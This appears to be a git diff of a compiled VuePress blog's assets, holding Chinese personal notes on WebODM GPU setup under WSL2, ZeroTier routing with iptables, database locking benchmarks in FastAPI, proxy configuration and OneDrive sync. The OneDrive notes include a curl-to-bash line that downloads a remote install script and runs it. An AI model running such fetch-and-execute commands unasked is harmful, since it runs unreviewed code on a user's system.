webodm配置安装
# moyechen 23.9.24
环境配置 windows11
rtx4070 已在windwos部署好驱动,cuda
# 步骤1 wsl2配置
启动wsl 可能需要更新,wsl --update 打开微软应用闪电,搜索ubuntu,安装ubuntu
安装结束后,点击启动,需初始化ubuntu的账号密码
# 步骤1 安装docker desktop
从官网下载即可 启动后打开设置,勾选wsl2,选中刚安装的ubuntu
# ubuntu nvidia驱动配置
https://docs.nvidia.com/datacenter/cloud-native/container-toolkit/latest/install-guide.html#installing-with-apt
进入ubuntu
配置gpgkey
curl -fsSL https://nvidia.github.io/libnvidia-container/gpgkey | sudo gpg --dearmor -o /usr/share/keyrings/nvidia-container-toolkit-keyring.gpg \\ + && curl -s -L https://nvidia.github.io/libnvidia-container/stable/deb/nvidia-container-toolkit.list | \\ + sed 's#deb https://#deb [signed-by=/usr/share/keyrings/nvidia-container-toolkit-keyring.gpg] https://#g' | \\ + sudo tee /etc/apt/sources.list.d/nvidia-container-toolkit.list \\ + && \\ + sudo apt-get update +
安装工具包
sudo apt-get install -y nvidia-container-toolkit +
执行
sudo nvidia-ctk runtime configure --runtime=docker +
但是wsl的配置文件不在
/etc/docker/
下,我们吧工具增加的内容复制出来,去docker desktop配置即可修改后点击右下角apply&restart
重启完成后,检测是否部署成功
sudo docker run --rm --runtime=nvidia --gpus all ubuntu nvidia-smi +
Your output should resemble the following output:
+-----------------------------------------------------------------------------+ +| NVIDIA-SMI 535.86.10 Driver Version: 535.86.10 CUDA Version: 12.2 | +|-------------------------------+----------------------+----------------------+ +| GPU Name Persistence-M| Bus-Id Disp.A | Volatile Uncorr. ECC | +| Fan Temp Perf Pwr:Usage/Cap| Memory-Usage | GPU-Util Compute M. | +| | | MIG M. | +|===============================+======================+======================| +| 0 Tesla T4 On | 00000000:00:1E.0 Off | 0 | +| N/A 34C P8 9W / 70W | 0MiB / 15109MiB | 0% Default | +| | | N/A | ++-------------------------------+----------------------+----------------------+ + ++-----------------------------------------------------------------------------+ +| Processes: | +| GPU GI CI PID Type Process name GPU Memory | +| ID ID Usage | +|=============================================================================| +| No running processes found | ++-----------------------------------------------------------------------------+ +
# 步骤3 拉取项目文件
在打开的ubuntu中, 拉取项目(需提前安装git)
git clone https://github.com/OpenDroneMap/WebODM +
# 步骤4 启动
./webodm.sh start --gpu +
# mipc杂项
时间估算 132张照片大概一小时
132×132/5 ~= 3600
256张大概4小时
gpu 实际gpu使用率一直没上去,也不知道为啥
测试数据集
https://github.com/pierotofy/dataset_banana/tree/master
`,36),l=[r];function u(c,o){return i(),n("div",null,l)}const v=e(t,[["render",u],["__file","webodm配置安装.html.vue"]]);export{v as default}; diff --git a/assets/webpack-source_map.html-8aoWF3hJ.js b/assets/webpack-source_map.html-8aoWF3hJ.js new file mode 100644 index 0000000..88b4864 --- /dev/null +++ b/assets/webpack-source_map.html-8aoWF3hJ.js @@ -0,0 +1 @@ +import{_ as c,o,c as a,b as e,d as s}from"./app-x8p6wK6B.js";const t={},_=e("h1",{id:"webpack-source-map",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#webpack-source-map","aria-hidden":"true"},"#"),s(" webpack-source_map")],-1),r=e("p",null,"sourcemap 文件对混淆后的js代码与源文件做了映射, 可以在控制台查看打包后的js文件报错, 方便开发调试",-1),n=e("p",null,"参考资料:",-1),p=e("blockquote",null,[e("p",null,"https://www.v2ex.com/amp/t/671001")],-1),l=[_,r,n,p];function d(u,h){return o(),a("div",null,l)}const m=c(t,[["render",d],["__file","webpack-source_map.html.vue"]]);export{m as default}; diff --git a/assets/webpack-source_map.html-vldnKXpI.js b/assets/webpack-source_map.html-vldnKXpI.js new file mode 100644 index 0000000..2454470 --- /dev/null +++ b/assets/webpack-source_map.html-vldnKXpI.js @@ -0,0 +1 @@ +const e=JSON.parse('{"key":"v-3b4cc106","path":"/notebook/webpack-source_map.html","title":"webpack-source_map","lang":"en-US","frontmatter":{},"headers":[],"git":{"updatedTime":null,"contributors":[]},"filePathRelative":"notebook/webpack-source_map.md"}');export{e as data}; diff --git a/assets/zerotier.html--ebF61CG.js b/assets/zerotier.html--ebF61CG.js new file mode 100644 index 0000000..d08e887 --- /dev/null +++ b/assets/zerotier.html--ebF61CG.js @@ -0,0 +1,13 @@ +import{_ as e,o as t,c as i,a}from"./app-x8p6wK6B.js";const r="/assets/388303814279280-O_8WYwxq.png",s="/assets/231835696836803-2nk4Z3C-.png",n="/assets/382107205625895-2OGByWCv.png",d="/assets/424924709279287-YfJWF5ev.png",l={},o=a('# zerotier
https://stray.love/jiao-cheng/zerotier-zhong-jie-jiao-cheng https://zhuanlan.zhihu.com/p/383471270
使用zerotier完成内网穿透
优点:无需公网ip,即可大概率p2p打通 缺点:移动的设备需要每台设备都安装客户端, 固定的设备可通过路由器安装zerotier直接管理
# 实战配置
zerotier安装在路由器时,可以自动管理 但是路由器装不了, 所以被迫安装到了n1盒子上,也可以通过设置路由表进行管理
网络情况如下:
hz ,路由器lan 192.168.5.1/24 安装zerotier客户端,分配虚拟ip 10.144.250.49 wz, 路由器lan 192.168.2.1/24 不能装zerotier客户端, 由局域网设备n1(192.168.2.190)安装,并分配虚拟ip 10.144.199.120
# 1 zerotier 配置
# 1.1设置路由
# 1.2 设置这两个设备允许 Allow Ethernet Bridging
zerotier 设置结束
# 2 客户端设置
# 2.1 路由器客户端设置
路由器可傻瓜配置,只需要勾选 "自动允许客户端 NAT" 即可
# 2.2 n1盒子设置
n1盒子没有提供简单的web ui界面, 因此需要手动管理路由表
首先使用 zerotier-cli listnetworks 命令, 查看网卡id
root@aml:~# zerotier-cli listnetworks +200 listnetworks <nwid> <name> <mac> <status> <type> <dev> <ZT assigned ips> +200 listnetworks 8bd5124fd6c7fc63 zt-home 62:0f:bf:0d:13:f1 OK PRIVATE zt0 10.144.199.120/16 +
PRIVATE 后面的zt0是网卡id
第一步,打开盒子的网络转发功能
#临时生效 +echo "1" > /proc/sys/net/ipv4/ip_forward +#永久生效,需要修改sysctl.conf,然后执行sysctl -p +net.ipv4.ip_forward = 1 +
接下来,处理防火墙规则
sudo iptables -A FORWARD -i zt0 -j ACCEPT +sudo iptables -A FORWARD -o zt0 -j ACCEPT +sudo iptables -t nat -A POSTROUTING ! -o lo -j MASQUERADE +
2023 10月16日, 发现这样的规则会导致该设备离线后其他设备不会通过网关访问其他设备,而是通过该设备,很尴尬
这里 zt0 为zerotier虚拟网卡 保存iptable规则
`,29),c=[o];function p(h,u){return t(),i("div",null,c)}const g=e(l,[["render",p],["__file","zerotier.html.vue"]]);export{g as default}; diff --git a/assets/zerotier.html-w6bwfzot.js b/assets/zerotier.html-w6bwfzot.js new file mode 100644 index 0000000..6ebdf54 --- /dev/null +++ b/assets/zerotier.html-w6bwfzot.js @@ -0,0 +1 @@ +const e=JSON.parse('{"key":"v-357da27c","path":"/router/zerotier.html","title":"zerotier","lang":"en-US","frontmatter":{},"headers":[{"level":2,"title":"实战配置","slug":"实战配置","link":"#实战配置","children":[{"level":3,"title":"1 zerotier 配置","slug":"_1-zerotier-配置","link":"#_1-zerotier-配置","children":[]},{"level":3,"title":"1.2 设置这两个设备允许 Allow Ethernet Bridging","slug":"_1-2-设置这两个设备允许-allow-ethernet-bridging","link":"#_1-2-设置这两个设备允许-allow-ethernet-bridging","children":[]},{"level":3,"title":"2 客户端设置","slug":"_2-客户端设置","link":"#_2-客户端设置","children":[]}]}],"git":{"updatedTime":null,"contributors":[]},"filePathRelative":"router/zerotier.md"}');export{e as data}; diff --git "a/assets/zerotier\343\200\201\344\272\214\347\272\247\350\267\257\347\224\261\343\200\201DMZ.html-1tr5uUKd.js" "b/assets/zerotier\343\200\201\344\272\214\347\272\247\350\267\257\347\224\261\343\200\201DMZ.html-1tr5uUKd.js" new file mode 100644 index 0000000..6096f75 --- /dev/null +++ "b/assets/zerotier\343\200\201\344\272\214\347\272\247\350\267\257\347\224\261\343\200\201DMZ.html-1tr5uUKd.js" @@ -0,0 +1 @@ +import{_ as t,o as r,c as _,b as e,d as o}from"./app-x8p6wK6B.js";const s="/assets/20221222175006341_28511-qud_ErsR.png",c={},a=e("h1",{id:"zerotier、二级路由、dmz",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#zerotier、二级路由、dmz","aria-hidden":"true"},"#"),o(" zerotier、二级路由、DMZ")],-1),n=e("p",null,"开启DMZ主机后,一级路由器的路由表规则如下",-1),i=e("p",null,[e("img",{src:s,alt:""})],-1),d=[a,n,i];function l(h,m){return r(),_("div",null,d)}const f=t(c,[["render",l],["__file","zerotier、二级路由、DMZ.html.vue"]]);export{f as default}; diff --git "a/assets/zerotier\343\200\201\344\272\214\347\272\247\350\267\257\347\224\261\343\200\201DMZ.html-dYsPzP-4.js" "b/assets/zerotier\343\200\201\344\272\214\347\272\247\350\267\257\347\224\261\343\200\201DMZ.html-dYsPzP-4.js" new file mode 100644 index 0000000..bd2cb6a --- /dev/null +++ "b/assets/zerotier\343\200\201\344\272\214\347\272\247\350\267\257\347\224\261\343\200\201DMZ.html-dYsPzP-4.js" @@ -0,0 +1 @@ +const e=JSON.parse('{"key":"v-70e270ee","path":"/router/zerotier%E3%80%81%E4%BA%8C%E7%BA%A7%E8%B7%AF%E7%94%B1%E3%80%81DMZ.html","title":"zerotier、二级路由、DMZ","lang":"en-US","frontmatter":{},"headers":[],"git":{"updatedTime":null,"contributors":[]},"filePathRelative":"router/zerotier、二级路由、DMZ.md"}');export{e as data}; diff --git "a/assets/\343\200\220\350\277\220\347\273\264\343\200\221expect.html-Xo_NTm5r.js" "b/assets/\343\200\220\350\277\220\347\273\264\343\200\221expect.html-Xo_NTm5r.js" new file mode 100644 index 0000000..7700383 --- /dev/null +++ "b/assets/\343\200\220\350\277\220\347\273\264\343\200\221expect.html-Xo_NTm5r.js" @@ -0,0 +1 @@ +const e=JSON.parse('{"key":"v-37242cf2","path":"/ops/%E3%80%90%E8%BF%90%E7%BB%B4%E3%80%91expect.html","title":"【运维】expect","lang":"en-US","frontmatter":{},"headers":[],"git":{"updatedTime":null,"contributors":[]},"filePathRelative":"ops/【运维】expect.md"}');export{e as data}; diff --git "a/assets/\343\200\220\350\277\220\347\273\264\343\200\221expect.html-r2NWxrez.js" "b/assets/\343\200\220\350\277\220\347\273\264\343\200\221expect.html-r2NWxrez.js" new file mode 100644 index 0000000..2b30766 --- /dev/null +++ "b/assets/\343\200\220\350\277\220\347\273\264\343\200\221expect.html-r2NWxrez.js" @@ -0,0 +1 @@ +import{_ as t,o as s,c as o,b as e,d as c}from"./app-x8p6wK6B.js";const l="/assets/20220913145345755_22381-WQ_61mxD.png",n={},_=e("h1",{id:"【运维】expect",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#【运维】expect","aria-hidden":"true"},"#"),c(" 【运维】expect")],-1),a=e("blockquote",null,[e("p",null,"https://ignorantshr.github.io/person-blog/shell/shell%E8%84%9A%E6%9C%AC%E8%87%AA%E5%8A%A8%E8%BE%93%E5%85%A5/")],-1),r=e("blockquote",null,[e("p",null,"https://www.cnblogs.com/lixigang/articles/4849527.html")],-1),i=e("p",null,[e("img",{src:l,alt:""})],-1),h=[_,a,r,i];function d(p,u){return s(),o("div",null,h)}const m=t(n,[["render",d],["__file","【运维】expect.html.vue"]]);export{m as default}; diff --git "a/assets/\344\271\220\350\247\202\351\224\201\343\200\201\346\202\262\350\247\202\351\224\201\343\200\201\345\210\206\345\270\203\345\274\217\351\224\201.html-P9kFGdGG.js" "b/assets/\344\271\220\350\247\202\351\224\201\343\200\201\346\202\262\350\247\202\351\224\201\343\200\201\345\210\206\345\270\203\345\274\217\351\224\201.html-P9kFGdGG.js" new file mode 100644 index 0000000..37fda77 --- /dev/null +++ "b/assets/\344\271\220\350\247\202\351\224\201\343\200\201\346\202\262\350\247\202\351\224\201\343\200\201\345\210\206\345\270\203\345\274\217\351\224\201.html-P9kFGdGG.js" @@ -0,0 +1 @@ +const e=JSON.parse('{"key":"v-8100aa12","path":"/web/%E4%B9%90%E8%A7%82%E9%94%81%E3%80%81%E6%82%B2%E8%A7%82%E9%94%81%E3%80%81%E5%88%86%E5%B8%83%E5%BC%8F%E9%94%81.html","title":"乐观锁、悲观锁、分布式锁","lang":"en-US","frontmatter":{},"headers":[{"level":3,"title":"100并发","slug":"_100并发","link":"#_100并发","children":[]},{"level":3,"title":"并发100, 总共1000个","slug":"并发100-总共1000个","link":"#并发100-总共1000个","children":[]},{"level":3,"title":"并发200,总共1000","slug":"并发200-总共1000","link":"#并发200-总共1000","children":[]}],"git":{"updatedTime":null,"contributors":[]},"filePathRelative":"web/乐观锁、悲观锁、分布式锁.md"}');export{e as data}; diff --git "a/assets/\344\271\220\350\247\202\351\224\201\343\200\201\346\202\262\350\247\202\351\224\201\343\200\201\345\210\206\345\270\203\345\274\217\351\224\201.html-jTPLzWIf.js" "b/assets/\344\271\220\350\247\202\351\224\201\343\200\201\346\202\262\350\247\202\351\224\201\343\200\201\345\210\206\345\270\203\345\274\217\351\224\201.html-jTPLzWIf.js" new file mode 100644 index 0000000..a593dcd --- /dev/null +++ "b/assets/\344\271\220\350\247\202\351\224\201\343\200\201\346\202\262\350\247\202\351\224\201\343\200\201\345\210\206\345\270\203\345\274\217\351\224\201.html-jTPLzWIf.js" @@ -0,0 +1,119 @@ +import{_ as n,o as s,c as a,a as t}from"./app-x8p6wK6B.js";const p="/assets/284455698836999-JYle4GdA.png",e="/assets/147946907626091-Gwqindbp.png",o="/assets/500087022133366-w73em1gi.png",c="/assets/501727794900246-II9R_YS8.png",i="/assets/401180871947710-4AqukcNL.png",l="/assets/298007630951842-DxmUwS8I.png",u="/assets/287800781817896-Vpyzzqtw.png",r="/assets/239891913912036-u-9AFBdU.png",d="/assets/270522409533576-XXXpJ4s5.png",k="/assets/548223420659412-6QJypmJi.png",v={},m=t(`sudo apt-get install iptables-persistent +sudo sh -c "iptables-save > /etc/iptables/rules.v4" +
# 乐观锁、悲观锁、分布式锁
假设抢购系统,1000用户在10秒内购买一个商品
""" +并发更新速度测试 +ab -n 1000 -c 100 http://127.0.0.1:8000/ +""" + +from fastapi import FastAPI +import pymysql +# SQLALCHEMY_DATABASE_URL = "postgresql://postgres:postgres@localhost:5432/demo2" +import redis +from redis import Redis + +app = FastAPI() +pool = redis.ConnectionPool(host='localhost', port=6379, max_connections=100) # 链接数量要大于最大并发数,否则实例化不出来 + + +def leguan(retry=0, db=None): + if db is None: + db = pymysql.Connect(host='localhost', user='root', password='example', db='moye') + db.begin() + cursor = db.cursor() + cursor.execute("select * from emp where id=1") + version = cursor.fetchone()[2] + + count = cursor.execute("update emp set value=value-1, version=version+1 where id=1 and value-1>=0 and version="+str(version)) + if count == 0: + db.rollback() + if retry <= 4: + return leguan(retry + 1, db) + return {"shibai":"shibail"} + db.commit() + return {"Hello": "World"} + +def beiguan(): + db = pymysql.Connect(host='localhost', user='root', password='example', db='moye') + db.begin() + cursor = db.cursor() + cursor.execute("select * from emp where id=1 for update") + version = cursor.fetchone()[2] + + count = cursor.execute("update emp set value=value-1, version=version+1 where id=1 and value-1>=0") + if count == 0: + db.rollback() + return {"shibai":"shibail"} + db.commit() + return {"Hello": "World"} + +def redis_(): + redis_client: Redis = redis.Redis(connection_pool=pool) + # redis_client: Redis = redis.from_url("redis://localhost:6379") + with redis_client.lock(name='id_1',sleep=0.01, timeout=60, blocking_timeout=60): + + db = pymysql.Connect(host='localhost', user='root', password='example', db='moye') + db.begin() + cursor = db.cursor() + cursor.execute("select * from emp where id=1") + version = cursor.fetchone()[2] + + count = cursor.execute("update emp set value=value-1, version=version+1 where id=1 and value-1>=0") + if count == 0: + db.rollback() + return {"shibai": "shibail"} + db.commit() + return {"Hello": "World"} + + +@app.get("/") +def read_root(): + # leguan() # 乐观锁100个请求,在一秒内只能成功5-15个 + # beiguan() # 悲观锁速度没慢多少的同时,全部成功了 + redis_() # redis由于需要cpu sleep ,属于是又慢又怕锁超时 + +
使用ab压测
# 100并发
# 悲观锁
# 乐观锁
可惜只有6个购买成功
# 并发100, 总共1000个
# 乐观锁 成功147个
# 悲观锁
又快又好,真离谱
# redis
# 并发200,总共1000
# 悲观锁
# redis 分布式锁
# 悲观锁+async sqlalchemy
# reids锁+ async aioreids
慢的离谱,cpu90%
`,30),b=[m];function h(g,y){return s(),a("div",null,b)}const _=n(v,[["render",h],["__file","乐观锁、悲观锁、分布式锁.html.vue"]]);export{_ as default}; diff --git "a/assets/\344\273\243\347\220\206\344\275\277\347\224\250.html-5t2ZHJgP.js" "b/assets/\344\273\243\347\220\206\344\275\277\347\224\250.html-5t2ZHJgP.js" new file mode 100644 index 0000000..5bae0c5 --- /dev/null +++ "b/assets/\344\273\243\347\220\206\344\275\277\347\224\250.html-5t2ZHJgP.js" @@ -0,0 +1 @@ +import{_ as t,o as e,c as o,a as r}from"./app-x8p6wK6B.js";const a={},h=r('""" +并发更新速度测试 +ab -n 1000 -c 100 http://127.0.0.1:8000/ +""" + +from fastapi import FastAPI +# SQLALCHEMY_DATABASE_URL = "postgresql://postgres:postgres@localhost:5432/demo2" +import sqlalchemy as sa +from aioredis import Redis +import aioredis +app = FastAPI() +# pool = aioredis.ConnectionPool(host='localhost', port=6379, max_connections=100) # 链接数量要大于最大并发数,否则实例化不出来 +from sqlalchemy.ext.asyncio import create_async_engine + +engine = create_async_engine( + "mysql+asyncmy://root:example@localhost:3306/moye" +) + +async def beiguan(): + + async with engine.connect() as db, db.begin(): + + + result = await db.execute(sa.text("select * from emp where id=1 for update")) + version = result.fetchone()[2] + + count = await db.execute(sa.text("update emp set value=value-1, version=version+1 where id=1 and value-1>=0")) + return {"Hello": "World"} + +async def redis_(): + # redis_client: Redis = redis.Redis(connection_pool=pool) + redis_client: Redis = Redis.from_url("redis://localhost:6379") + async with redis_client.lock(name='id_1',sleep=0.01, timeout=60, blocking_timeout=60): + async with engine.connect() as db, db.begin(): + result = await db.execute(sa.text("select * from emp where id=1")) + version = result.fetchone()[2] + + count = await db.execute(sa.text("update emp set value=value-1, version=version+1 where id=1 and value-1>=0")) + + + +@app.get("/") +async def read_root(): + # leguan() # 乐观锁100个请求,在一秒内只能成功5-15个b + await beiguan() # 悲观锁速度没慢多少的同时,全部成功了 + # await redis_() # redis由于需要cpu sleep ,属于是又慢又怕锁超时 + +
# 代理使用
# 环境变量
# Linux
使用socks5 export http_proxy="socks5://127.0.0.1:10808" export https_proxy="socks5://127.0.0.1:10808" 使用http export http_proxy="http://127.0.0.1:10809" export https_proxy="http://127.0.0.1:10809" 指定不使用代理的域名和IP export no_proxy='a.test.com,127.0.0.1,192.168.0.0/16'
# Windows
命令行 set http_proxy="http://127.0.0.1:10809" set https_proxy="http://127.0.0.1:10809" 或者在系统设置里设环境变量 http_proxy | http://127.0.0.1:10809 https_proxy | http://127.0.0.1:10809
# Ubuntu apt
sudo tee /etc/apt/apt.conf.d/proxy.conf << EOF Acquire { HTTP::proxy "http://127.0.0.1:10809"; HTTPS::proxy "http://127.0.0.1:10809"; } EOF
# Git
HTTP方式访问 git config --global http.proxy 'socks5://127.0.0.1:10808' git config --global https.proxy 'socks5://127.0.0.1:10808'
SSH方式访问,以github.com为例 ~/.ssh/config Host github.com # Mac/Ubuntu下,使用socks5 ProxyCommand nc -X 5 -x 127.0.0.1:10808 %h %p
# Docker
Ubuntu下修改 /etc/default/docker CentOS下修改 /etc/sysconfig/docker export http_proxy="http://127.0.0.1:10809" export https_proxy="http://127.0.0.1:10809" export no_proxy='a.test.com,127.0.0.1,192.168.0.0/16' 重启docker后,运行docker info检查
# Python代码
通过requests模块使用 proxies={ 'http': 'http://127.0.0.1:10809', 'https': 'http://127.0.0.1:10809' }
r = requests.get(url, proxies=proxies)
r = requests.post(url, headers=headers, json=payload, proxies=proxies)
# 浏览器插件
推荐使用SwitchyOmega,支持Chrome/Edge/Firefox。 首先配置一个场景模式,命名为proxy或任何你喜欢的名字,在里面添加SOCKS5或者HTTP代理,还可以手动添加你不想代理的地址列表,如内网IP段/指定域名等:
在auto switch中添加规则列表,并让规则列表默认走上面配置的proxy场景: https://raw.githubusercontent.com/gfwlist/gfwlist/master/gfwlist.txt
选择auto switch的场景模式,此时只有规则列表里的域名会走代理:
# 其他
常用包管理器的代理设置:https://github.com/comwrg/package-manager-proxy-settings
',23),p=[h];function s(i,c){return e(),o("div",null,p)}const n=t(a,[["render",s],["__file","代理使用.html.vue"]]);export{n as default}; diff --git "a/assets/\344\273\243\347\220\206\344\275\277\347\224\250.html-LkBfvjFZ.js" "b/assets/\344\273\243\347\220\206\344\275\277\347\224\250.html-LkBfvjFZ.js" new file mode 100644 index 0000000..2c32064 --- /dev/null +++ "b/assets/\344\273\243\347\220\206\344\275\277\347\224\250.html-LkBfvjFZ.js" @@ -0,0 +1 @@ +const l=JSON.parse('{"key":"v-bca00f24","path":"/ops/%E4%BB%A3%E7%90%86%E4%BD%BF%E7%94%A8.html","title":"代理使用","lang":"en-US","frontmatter":{},"headers":[{"level":2,"title":"环境变量","slug":"环境变量","link":"#环境变量","children":[{"level":3,"title":"Linux","slug":"linux","link":"#linux","children":[]},{"level":3,"title":"Windows","slug":"windows","link":"#windows","children":[]}]},{"level":2,"title":"Ubuntu apt","slug":"ubuntu-apt","link":"#ubuntu-apt","children":[]},{"level":2,"title":"Git","slug":"git","link":"#git","children":[]},{"level":2,"title":"Docker","slug":"docker","link":"#docker","children":[]},{"level":2,"title":"Python代码","slug":"python代码","link":"#python代码","children":[]},{"level":2,"title":"浏览器插件","slug":"浏览器插件","link":"#浏览器插件","children":[]},{"level":2,"title":"其他","slug":"其他","link":"#其他","children":[]}],"git":{"updatedTime":null,"contributors":[]},"filePathRelative":"ops/代理使用.md"}');export{l as data}; diff --git "a/assets/\344\273\245\345\233\276\346\220\234\345\233\276.html-HBoOJ3G3.js" "b/assets/\344\273\245\345\233\276\346\220\234\345\233\276.html-HBoOJ3G3.js" new file mode 100644 index 0000000..bf95531 --- /dev/null +++ "b/assets/\344\273\245\345\233\276\346\220\234\345\233\276.html-HBoOJ3G3.js" @@ -0,0 +1 @@ +const t=JSON.parse('{"key":"v-38e7669c","path":"/python/%E4%BB%A5%E5%9B%BE%E6%90%9C%E5%9B%BE.html","title":"以图搜图","lang":"en-US","frontmatter":{},"headers":[{"level":3,"title":"部署","slug":"部署","link":"#部署","children":[]}],"git":{"updatedTime":null,"contributors":[]},"filePathRelative":"python/以图搜图.md"}');export{t as data}; diff --git "a/assets/\344\273\245\345\233\276\346\220\234\345\233\276.html-rQJpjPS7.js" "b/assets/\344\273\245\345\233\276\346\220\234\345\233\276.html-rQJpjPS7.js" new file mode 100644 index 0000000..57c5977 --- /dev/null +++ "b/assets/\344\273\245\345\233\276\346\220\234\345\233\276.html-rQJpjPS7.js" @@ -0,0 +1 @@ +import{_ as s,o,c as n,b as e,d as t}from"./app-x8p6wK6B.js";const _={},a=e("h1",{id:"以图搜图",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#以图搜图","aria-hidden":"true"},"#"),t(" 以图搜图")],-1),c=e("h3",{id:"部署",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#部署","aria-hidden":"true"},"#"),t(" 部署")],-1),r=e("p",null,"安装扩展",-1),d=e("p",null,"安装指定版本pg_config",-1),i=e("p",null,"yum install postgresql12-devel --skip-broken",-1),l=[a,c,r,d,i];function h(u,f){return o(),n("div",null,l)}const m=s(_,[["render",h],["__file","以图搜图.html.vue"]]);export{m as default}; diff --git "a/assets/\344\275\277\347\224\250onedrive\345\234\250win10\345\222\214linux\344\271\213\351\227\264\345\220\214\346\255\245.html-DH2Z4RxM.js" "b/assets/\344\275\277\347\224\250onedrive\345\234\250win10\345\222\214linux\344\271\213\351\227\264\345\220\214\346\255\245.html-DH2Z4RxM.js" new file mode 100644 index 0000000..02b94b4 --- /dev/null +++ "b/assets/\344\275\277\347\224\250onedrive\345\234\250win10\345\222\214linux\344\271\213\351\227\264\345\220\214\346\255\245.html-DH2Z4RxM.js" @@ -0,0 +1,22 @@ +import{_ as t,r as o,o as l,c as d,b as e,d as n,e as a,a as i}from"./app-x8p6wK6B.js";const r={},c=e("h1",{id:"使用onedrive在win10和linux之间同步",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#使用onedrive在win10和linux之间同步","aria-hidden":"true"},"#"),n(" 使用onedrive在win10和linux之间同步")],-1),u=e("p",null,"我们在写代码的时候,经常有这样的场景: 在Windows下开发,然后放在服务器上跑",-1),p=e("p",null,"刚开始开发,整个项目只有一个文件(.py) ,这时候我使用xshell链接到服务器,使用rz命令上传文件, 就解决了问题",-1),h=e("p",null,"之后, 使用PyCharm 远程调试, 链接服务器进行同步, 也解决一定的问题,",-1),v=e("p",null,"最近跟风上了一年的OneDrive 365 (家庭版,6人240,一人40), onedrive 空间从免费的5g提升到了1tb,",-1),m={href:"https://github.com/skilion/onedrive",target:"_blank",rel:"noopener noreferrer"},b=i(`!!!! 在ubuntu16上有些许问题, 因为大佬不在维护, 因此使用另外一个同学的产品
https://github.com/abraunegg/onedrive.git
本人环境: win10 , centos7(1g 1h 1m)
# 上手:
# 事前准备: Fedora/CentOS
sudo yum install libcurl-devel +sudo yum install sqlite-devel +curl -fsS https://dlang.org/install.sh | bash -s dmd +
# 安装
git clone https://github.com/skilion/onedrive.git +cd onedrive +make +sudo make install +
# 卸载
sudo make uninstall +# delete the application state +rm -rf .config/onedrive +
# 进行配置
如果不配置, 你Onedrive中的文件默认会下载到
~/OneDrive
这个目录,并且隐藏的文件会跳过 如果你想改变位置等等, 做以下操作mkdir -p ~/.config/onedrive +cp ./config ~/.config/onedrive/config +vim ~/.config/onedrive/config +
可用选项:
sync_dir
: 本地的onedrive文件夹路径,onedrive中的文件会保存在本地的这个目录skip_file
: 设置跳过的文件demo:
`,17),_=e("code",null,"*",-1),f=e("code",null,"?",-1),g={href:"https://technet.microsoft.com/en-us/library/bb490639.aspx",target:"_blank",rel:"noopener noreferrer"},k=e("code",null,"|",-1),x=i(`# Directory where the files will be synced +sync_dir = "~/OneDrive" +# Skip files and directories that match this pattern +skip_file = ".*|~*" +
Note: 改变配置文件后, 应该执行
onedrive --resync
以获得同步# 选择性同步
选择性同步允许你只同步一个文件夹,或者是一个文件 方法:
- 首先,确保你做了上面的配置文件,如果没有,点击跳转
- 然后, 在~/.config/onedrive/ 目录下创建文件
sync_list
sync_list
:的一个例子Backup +Documents/latest_report.docx +Work/ProjectX +notes.txt +
Note: 改变配置文件后, 应该执行
onedrive --resync
以获得同步# 本人的使用方法
`,8),y={href:"https://github.com/tamlok/vnote",target:"_blank",rel:"noopener noreferrer"},w={href:"https://github.com/tamlok/viki",target:"_blank",rel:"noopener noreferrer"},N=e("p",null,"具体操作:",-1),q=e("li",null,[n("在onedrive 根目录下新建文件夹"),e("code",null,"blog")],-1),D=e("li",null,[n("打开vnote, 新建一个笔记本,并设置根目录为 "),e("code",null,"onedrive/blog")],-1),O={href:"https://github.com/tamlok/viki/archive/v2.0.1.zip",target:"_blank",rel:"noopener noreferrer"};function z(B,S){const s=o("ExternalLinkIcon");return l(),d("div",null,[c,u,p,h,v,e("p",null,[n("同时也看到了大佬的github "),e("a",m,[n("skilion"),a(s)]),n(",")]),b,e("p",null,[n("Patterns are case insensitive. "),_,n(" and "),f,n(),e("a",g,[n("wildcards characters"),a(s)]),n(" are supported. Use "),k,n(" to separate multiple patterns.")]),x,e("p",null,[n("本人使用 "),e("a",y,[n("vnote"),a(s)]),n(" 来编写笔记, 同时使用 "),e("a",w,[n("viki"),a(s)]),n(" 来作为web服务")]),N,e("ul",null,[q,D,e("li",null,[n("下载最新版的viki源文件, "),e("a",O,[n("下载链接"),a(s)]),n(",解压缩")])])])}const C=t(r,[["render",z],["__file","使用onedrive在win10和linux之间同步.html.vue"]]);export{C as default}; diff --git "a/assets/\344\275\277\347\224\250onedrive\345\234\250win10\345\222\214linux\344\271\213\351\227\264\345\220\214\346\255\245.html-wF-F4Tgw.js" "b/assets/\344\275\277\347\224\250onedrive\345\234\250win10\345\222\214linux\344\271\213\351\227\264\345\220\214\346\255\245.html-wF-F4Tgw.js" new file mode 100644 index 0000000..a9ec9a5 --- /dev/null +++ "b/assets/\344\275\277\347\224\250onedrive\345\234\250win10\345\222\214linux\344\271\213\351\227\264\345\220\214\346\255\245.html-wF-F4Tgw.js" @@ -0,0 +1 @@ +const e=JSON.parse('{"key":"v-43c0d09a","path":"/notebook/%E4%BD%BF%E7%94%A8onedrive%E5%9C%A8win10%E5%92%8Clinux%E4%B9%8B%E9%97%B4%E5%90%8C%E6%AD%A5.html","title":"使用onedrive在win10和linux之间同步","lang":"en-US","frontmatter":{},"headers":[{"level":2,"title":"上手:","slug":"上手","link":"#上手","children":[{"level":3,"title":"事前准备: Fedora/CentOS","slug":"事前准备-fedora-centos","link":"#事前准备-fedora-centos","children":[]},{"level":3,"title":"安装","slug":"安装","link":"#安装","children":[]},{"level":3,"title":"卸载","slug":"卸载","link":"#卸载","children":[]},{"level":3,"title":"进行配置","slug":"进行配置","link":"#进行配置","children":[]},{"level":3,"title":"选择性同步","slug":"选择性同步","link":"#选择性同步","children":[]}]},{"level":2,"title":"本人的使用方法","slug":"本人的使用方法","link":"#本人的使用方法","children":[]}],"git":{"updatedTime":null,"contributors":[]},"filePathRelative":"notebook/使用onedrive在win10和linux之间同步.md"}');export{e as data}; diff --git "a/assets/\344\275\277\347\224\250\347\275\227\346\212\200\346\221\204\345\203\217\345\244\264_\346\226\220\350\256\257n1\347\233\222\345\255\220\347\233\264\346\222\255.html-8Vw1sWwQ.js" "b/assets/\344\275\277\347\224\250\347\275\227\346\212\200\346\221\204\345\203\217\345\244\264_\346\226\220\350\256\257n1\347\233\222\345\255\220\347\233\264\346\222\255.html-8Vw1sWwQ.js" 